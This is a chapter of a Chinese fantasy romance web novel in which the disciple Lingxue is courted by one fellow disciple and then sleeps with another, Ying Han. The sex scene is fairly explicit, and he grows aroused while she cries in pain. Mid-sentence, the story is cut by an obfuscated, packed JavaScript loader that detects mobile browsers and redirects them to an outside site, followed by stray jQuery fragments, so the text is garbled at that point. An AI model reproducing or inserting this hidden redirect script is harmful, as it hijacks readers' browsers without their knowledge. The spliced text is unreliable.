阿五趴在令雪旁边舔她的脸,舌头上的倒刺刮得她生疼,令雪睁开眼,察觉裤子被洇湿了,贴着身体有些凉,但没摸着什么东西,只叫她奇怪地皱眉。
她推开他的大猫头,爬起来换衣服梳头发,在窗边坐一会儿,准备去看应寒。
令雪特意从玉牌里找出几样好吃的拿在手上,打开门看见司云徵时抖了抖,差点没扔下去。
他脸色尚好,太好了,像特意抹了什么粉。
令雪张张嘴,泄气道:“师尊。我照顾他,你不要待在这了。”
他没和她争执,放下药包:“一日两次,小火煎煮,上午的份已经喝过,申时再喊他喝。”
应寒正坐着看书,令雪把吃的搁在边上,恹恹待在他旁边盯着他。
应寒被她盯得不自在,欲言又止。
“有话直说。”
他指着自己的喉结问她:“你这里怎么回事?”
令雪低头,被蛟鞭划出的伤已经愈合,但血痂没有脱落,有点显眼。她伸手挠了挠,想把痂撕掉,被应寒拦住。
他很无奈的样子:“你不知道痛吗?”
“还好吧。”她问,“吃不吃糖火烧,很甜很好吃。”
他拉着脸继续看书了。
令雪觉得他莫名其妙:“你这个人怎么不喜欢吃东西呢?怪不得那么矮。”
应寒啪的一声合上书,不可思议地反驳她:“我哪里矮了?”
他还是比她高的,但没有司云徵高,脸也白嫩,看着跟令雪一样大。
她敷衍地安慰他:“好好好你很高……”
应寒瞪着她,左手抄起糖火烧咬了一大口,眼神更像是要在她脸上啃,恶狠狠的。
令雪左右晃晃脑袋,怡然自得地翘起脚抖抖抖,当他不存在,二流子一样的姿势惹得他更生气,冷冰冰地说:“把腿放下去。”
她拒绝:“我不。”
“放下去!”
“我就不!”
应寒作势要掀被子起来压她的腿,令雪立刻放下来笑话他:“你看,又急。”
“少跟高澹混在一起。”
“我就喜欢跟他玩。”她已经对应寒这种语气脱敏,把他讲话当放屁,“他比你有意思多了,你能陪我逛集吗?你就知道看书练剑,练你的破剑去吧。”
应寒看不进去书了,问她:“你要去哪逛?”
片刻后,令雪站在铺子里换了条水红色纱裙,笑吟吟地说:“这个我也要了。”
应寒黑着脸抱着她二十三条新裙子,店主折了朵红色茶花插在她发髻上,令雪被哄得高高兴兴付账,得意洋洋地凑到他跟前:“好不好看?”
他偏过头:“难看。”
令雪半点不信,嗤之以鼻。
“令雪师妹?”
她回过头,亮着眼睛唤:“陆阿师兄!”
陆阿是她住在聚生殿的时候认识的,给她送零嘴最多的就是他了,但他抽到乌山溪的年底考核,最近一直在温习,所以好多天没出门。
陆阿熟稔地摸摸她的头:“你前天请我我很想去的,就是脱不开身,没想到在这里碰到,一起吃饭吗?我请客。”
令雪冲应寒招手:“来呀来呀。”
最后令雪挑了酸汤鱼,她喜欢吃鱼,但囫囵的吃法很不适合吃鱼,几口就被扎了。
应寒无情讥讽:“这么笨?”
令雪嘶嘶喝水,陆阿放下碗捏住她下巴往里看,按着舌面用灵力牵出根丝刺:“下次不要吃整鱼好了,你去聚生殿找我,我给你露一手,我做的黄芪水煮鱼可是人间美味!”
令雪咂咂嘴,连连点头,见应寒凉凉地盯着自己,一动不动,她又问:“不好吃吗?”
“好吃。”他挪开视线,“好吃得很。”
令雪心满意足地摸摸肚子,起身结账,陆阿赶紧撂筷子:“我来我来……”
她撞开柔弱的师兄,掏出一把灵石塞给店主:“好了好了!当我补前天的了!”
“那谢谢师妹了。”陆阿无奈地笑起来,有点踌躇地问,“师妹能跟我单独说几句话吗?”
应寒插嘴:“什么不能在这儿说?”
令雪不理他:“那我们出去吧。”
陆阿看看他:“没事,在这里说也可以。”
他舔了舔唇,有点紧张,清清嗓子:“师妹、师妹有心仪之人吗……我第一次见到令雪就觉得很好,嗯……我存了很多灵石,医术不差,会做饭,也跟师姐学了梳头,会很多发式,如果令雪师妹没有的话……我听闻、听闻妖族春时需要伴侣,师妹看我怎么样呢?”
令雪起初惊讶,但他虽然语无伦次,却很真诚,脸也渐渐红透。
她认真地听下去。
平心而论,陆阿长得俊秀,声音好听,其实有点可爱。
司云徵满身血的样子在脑海一闪而过。
她当时说不喜欢他了用处不大,终归打草惊蛇,他对她肯定生出防备和隔阂,再骗得真一些,未尝不可。
她原本就不擅长拒绝别人的善意,如他所言,与伴侣度过春时,对平复情绪有些微作用。更何况……她这么努力了,司云徵依然对她的心意避如蛇蝎。
并不是没有人喜欢她。
令雪笑着朝他靠近,正要开口答应,忽然天旋地转,被应寒单手扛起,陆阿惊慌失措:“应寒师兄!”
他无视陆阿阻拦召剑捏诀,直接带着令雪御剑飞回临官殿,令雪被他整得发懵,在半空的大风里破音:“你干什么啊——”
她顾忌这人伤还没好又离地那么远才不跟他动手,落地就气冲冲地推开他要回去找陆阿,被攥住手腕,甩都甩不脱,对他的耐心化为乌有:“应寒你疯了吗!想打架吗?!”
他不说话,也不松手,就跟她耗着,令雪瞪着他,觉得他不是被捅了心口,是被捅了脑子。
“你……”应寒艰难吐出一个字,僵持了会儿才续道,“你不喜欢师尊了吗?”
她被踩到痛脚,更加生气,直接炸毛:“你有什么资格管我喜欢谁!你不许我喜欢他我和别人在一起你不该放响炮庆祝我不纠缠他吗——”
“是因为春时吗?”他打断令雪的话,“师尊不愿意跟你睡,你就随便找一个愿意的?”
令雪咬牙切齿:“……要你管。”
“他比我矮,打不过我,区区医修,见一面就对你动心,轻浮至极,这种不三不四的人,你想跟他睡?”
令雪勃然大怒:“你才不三不四!”
“我没有。”应寒反驳,“我从未对任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745474|189865||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何女修、女妖做过轻浮的事,说过轻浮的话。”
令雪嘲讽:“谁知道呢。”
“如果你必须要一个……伴侣,你觉得,我怎么样?”
令雪嘲讽:“不怎么……你说什么?”
她忽然怀疑自己的耳朵是不是坏了,否则怎么开始幻听?
她去掰他的手指:“松手、松手……松手……”
应寒另一只手又抓住令雪这只手,维持着一个奇怪的姿势把她拉进房里,用脚关上门,严肃地放开她:“我说,我可以跟你睡。”
令雪此刻的心情不亚于见到火腿成精——
简直荒谬!
“何方邪物竟敢夺舍应寒?!速速出来跟我打架!”
应寒咬牙切齿:“不要装傻。”
令雪真心实意问他:“你疯了吗?”
他突然脱下衣袍,令雪猝不及防后退两步坐到床上:“……”
应寒光着上身低声道:“我就知道。”
他看着年纪小,身体却很有点滋味,和脸一个颜色。肌肉不如庚安显眼,覆盖在躯体上却是恰到好处的漂亮。纱布半遮半掩,右侧胸膛上粉色的扔子引人注目,腹部沟壑一路隐入裤腰,不经意露出半分胯骨。
眼不见为净,令雪闭上眼睛。
唇上传来温热的触感,她睁开眼,应寒垂着长睫,离她不过分毫。
他在亲她。
他大概也不会亲吻,生涩地贴着她,发现令雪在看他,稍稍远一点问她:“怎么样?”
令雪忽然笑起来,指尖捏住他红到滴血的耳垂。
“你喜欢我?”
应寒说:“不。”
她笃定地说:“你喜欢我。”
令雪像打了一场胜仗,或占下一座山头,得意洋洋地想,你也不过如此,天天对我喊打喊杀,其实背地里芳心暗许,喜欢我到自荐枕席。
她有些兴奋,搂住他的颈项咬住他的嘴唇,咬出血,眼中红色漫开,现出兽瞳的模样。
-
胸口的系带被颤抖着解开,纱裙乱七八糟委顿在地,令雪的手指陷进他背肌,重重挠出几条道子。
“为什么在哭?”
应寒茫然地吻掉她脸上水迹,捧着她的脸不敢上前,令雪又在骂他,混蛋、贱人什么的,骂到最后才说痛。
钝刀子割肉比血淋淋剖了她难忍得多。
她痛得要命,一口咬在他肩头,犬齿也变得锋利,血流出来,沾在脸上,被他用指腹小心抹掉。
但她没有松开他。
应寒小心翼翼地拨开她鬓发,红茶花掉在榻上,花瓣零落,令雪的哭声越来越大,夹杂着含混不清的辱骂,越骂哭声越响,嗓音碎在他耳边,他反而兴起。
很久之后令雪才慢慢收住声音,哽咽着说:“我讨厌你。”
应寒起身的动作停止一瞬,又恢复如常。
他捡起她水红色的裙子,和自己皱巴巴的裤子一起放在一边,令雪躺在被褥间昏昏欲睡。
“要洗澡吗?”
她不理他,察觉到他在擦拭,收了收腿,那只手的方向便不同了。
“你有病吗?”令雪不理解,“你不是很讨厌我吗?”
应寒面不改色:“随你怎么想。”